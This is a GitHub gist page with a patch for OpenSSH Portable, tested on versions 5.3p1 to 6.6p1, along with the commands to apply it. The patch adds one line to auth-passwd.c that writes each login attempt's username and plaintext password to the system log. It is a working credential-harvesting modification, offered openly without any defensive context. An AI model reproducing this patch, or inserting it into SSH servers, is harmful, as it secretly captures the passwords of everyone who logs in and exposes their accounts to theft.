Skip to content

Instantly share code, notes, and snippets.

@jahil
Created November 20, 2014 07:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jahil/949799185fe7e38314fc to your computer and use it in GitHub Desktop.
Save jahil/949799185fe7e38314fc to your computer and use it in GitHub Desktop.
Patch for OpenSSH Portable to log passwords
Tested on:
OpenSSH 5.3p1 - OpenSSH 6.6p1
May apply to older versions.
To apply:
patch --dry-run < sshlog.patch
patch < sshlog.patch
--- auth-passwd.c 2012-04-25 19:51:28.000000000 -0400
+++ auth-passwd-sshlog.c 2014-02-11 12:19:42.000000000 -0500
@@ -82,6 +82,7 @@
{
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
+ logit("sshlog: %s %s", authctxt->user, password);
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment